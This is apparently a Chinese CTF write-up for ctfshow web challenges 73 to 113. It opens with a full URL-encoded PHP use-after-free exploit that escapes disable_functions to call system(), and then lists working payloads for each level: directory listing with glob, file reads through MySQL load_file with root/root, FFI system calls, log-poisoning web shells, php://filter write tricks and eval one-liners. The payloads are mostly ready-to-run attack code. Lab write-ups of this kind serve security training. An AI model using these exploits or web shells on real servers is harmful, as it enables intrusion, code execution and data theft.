%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A
|
web73
试用上一个题的方法,先glob绕过
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
|
可以include包含进去
web74
白嫖web73的做法
也可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flagx.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
|
dbname可以是mysql,只要是mysql数据库里面存在的数据库名(dbname)就可以了
还要数据库密码是弱密码 root/root
web75
glob绕过
include()会报错,使用mysql_loadfile读取文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
|
mysql load file_MySQL使用LOAD_FILE()函数方法
在mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。
传送带
web76
白嫖75的方法
web77
先用glob协议绕过,发现两个与flag有关的文件
$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a);
|
web118
可以执行$IFS 可以调用系统变量,在系统变量里面构造(系统环境变量目录,有n有l)
nl 取最后一位 ${PATH:~A}${PWD:~A}$IFS????.???
web119
参考博客
查看PHP版本,用的是谷歌的一个插件 wappalyzer
文件包含(78—88 116—117)
web78
<?php
if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
|
include包含,直接用伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
base64解码
web79
<?php
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__);
|
?file=data://text/plain,<?=system('cat flag.php')?>
过滤了php,用短标签绕过
data协议
?file=data://text/plain,=eval($_POST[1]);?>
1=system(‘tac flag.php’);
web80
<?php
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
这里可以进行日志包含:通过User-Agent头部注入命令
上传一句话,包含日志里面去
查询目录
一句话
?file=/var/log/nginx/access.log 路径
1=system(‘tac fl0g.php’);
web81
<?php
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
包含日志文件 进行getshell
同80
?file=/var/log/nginx/access.log
1=system(‘tac fl0g.php’);
web82
<?php
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
过滤了. 只能包含无后缀的文件
只能是session文件
web87
<?php
if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{ highlight_file(__FILE__); }
|
content是写入内容,要进行base64编码 对应上面的伪协议解码,而base解码时,是4个一组,flag.php(要写入的文件),写入的内容中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了。我们要在content中写入shell,然后base64编码
参考原博客链接
GET:
?file=php://filter/convert.base64-encode/resource=flag.php
两次url编码后(一次完全编码,一次普通编码)
?file=%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2565%256E%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2566%256C%2561%2567%252E%2570%2568%2570
|
POST:
content=aaPD9waHAgc3lzdGVtKCdscycpOzs/Pg==
|
访问flag.php
php特性(89—190)
web89
<?php
include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
可以提交数组绕过 ?num[]=1;
web90
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; int值为4476 }else{ echo intval($num,0); } }
|
采取十进制绕过,输入117C,但是117C在识别的时候C不会被识别,只能在前面加上0x和C作为强制十六进制转换
?num=0x117C
web91
<?php
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
第一行匹配不到,只能匹配到第二行,所以要进行换行绕过 ?cmd=%0aphp
web92
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
web93
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
十六进制
web94
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
|
多重否定 不能存在0要有0 ?num=4476.0
web95
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
特殊符号绕过,多试几次 ?num=+010574
或者 空格 ?num= 010574
intval会对+ (解码后就是空格)或者 空格开头的会作为删除或者正数来处理,返回值
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
}
|
可以读文件 ?u=/etc/passwd
访问绝对路径得到flag /var/www/html/flag.php
相对路径 ./flag.php
web97
<?php
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
传入数组,md5对数组返回相同的值 a[]=1&b[]=2
web98
Notice: Undefined index: flag in /var/www/html/index.php on line 15
Notice: Undefined index: flag in /var/www/html/index.php on line 16
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17 <?php
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
$_GET为数组 $_GET['flag']为数组 值为HTTP_FLAG 高亮 $GET值为$_POST $_POST ['flag']=flag $_GET=$_COOKIE $_GET['flag']=$_COOKIE['flag'] $_GET['flag']='flag'
|
在GET传入一个参数,传入才能进入后面的判断,在post让HTTP_FLAG=flag,高亮
web99
<?php
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
?>
|
二分法,最大极限是469
写入一句话 ?n=234.php
content=<?php eval($_POST['cmd']);?>
连接蚁剑
web100
<?php
highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
|
首先v0这里赋值是大于逻辑运算的,所以只要v1是数字,v2v3是啥都行
第一个判断里v2不能有分号(;)
第二个判断里v3必须有分号(;)
最后的eval里面有括号直接闭合了,直接执行的话不好构造函数,我们直接在v2里面把后面的php代码直接过滤掉
查看数据类型
?v1=1&v2=system('ls')&v3=;
?v1=1&v2=system('tac ctfshow.php')&v3=;
0x2d是-
web101
<?php
highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
|
反射类
tostring
?v1=1&v2=echo NEW Reflectionclass&v3=;
发现不对,比对少了一位,爆破
试到5,就成功了
web102
<?php
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker
|
substr() 函数返回字符串的一部分,v2被去掉了前两位字符所以到时候给v2前加两个数字 v2全为数字,考虑利用伪协议写入
找到一个代码base64编码后在转为十六进制为全数字
$a='<?=`cat *`;'; $b=base64_encode($a); $c=bin2hex($b); 输出 5044383959474e6864434171594473 带e的话会被认为是科学计数法,可以通过is_numeric检测。
|
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
post: v1=hex2bin
web103
<?php
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker
|
白嫖102
web104
<?php
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
?>
|
只需要v1的值等于v2的值就行,简单的有点不咋相信
还可以用数组绕过,v1[]=2 v2[]=1
web105
<?php
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
?> 你还想要flag嘛?
|
进行覆盖
web106
<?php
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
?>
|
数组绕过 v2[]=1 v1[]=2
web107
<?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
}
?>
|
parse_str 将字符串解析为多个变量
参考
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
对v2[‘flag’]的值覆盖
<?php $b=md5('0'); echo $b; ?>
|
?v3=0
v1=flag=cfcd208495d565ef66e7dff9f98764da
web108
<?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
}
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
?> error
|
0x36d的10进制为877
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,进入下一个匹配
?c=a%00778
web109
<?php
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }
}
?>
|
反射 ?v1=ReflectionClass&v2=system('ls')
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
?v1=exception&v2=system('tac fl36dg.txt')
<?php class ctfshow{ public $admin='大菜鸡'; public function getName(){ return $this->admin; } public function __construct($a){ $this->admin =$a; } public function __toString(){ return $this->admin; }
}
echo new Exception('aaaa');
|
web110
<?php
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
}
?>
|
过滤符号和数字,只能用纯字母
getcwd ?v1=FilesystemIterator&v2=getcwd
web111
<?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }
}
?>
|
?v1=ctfshow&v2=GLOBALS
//全局变量
web112
<?php
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
伪协议构造
?file=php://filter/resource=flag.php
web113
<?php
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
?file=compress.zlib://flag.php
目录溢出
